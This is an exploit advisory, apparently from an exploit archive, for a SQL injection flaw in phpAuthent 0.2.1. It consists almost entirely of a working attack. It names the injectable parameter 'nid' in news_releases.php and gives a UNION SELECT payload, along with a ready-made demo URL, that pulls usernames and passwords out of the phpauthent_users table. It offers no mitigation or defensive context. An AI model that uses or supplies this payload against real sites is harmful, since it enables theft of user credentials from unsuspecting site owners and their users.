phpAuthent 0.2.1 SQL Injection Vulnerability

============================================
phpAuthent 0.2.1 SQL Injection Vulnerability
============================================

phpAuthent 0.2.1 SQL Injection  Vulnerability
     
###########################
     
Author    : Gamoscu
  
Homepage  : http://www.1923turk.com 
 
Blog      : http://gamoscu.wordpress.com/ 
 
Script    : phpAuthent http://phpauth.sourceforge.net/
 
Download  : http://phpauth.sourceforge.net/download.php
     
###########################  
       
[ Vulnerable File ]
   
news_releases.php?nid= [ SQL ]
        
   
[ XpL ]
     
-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users
 
[ Demo]
 
http://server/news_releases.php?nid=-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users



#  0day.today [2018-03-02]  #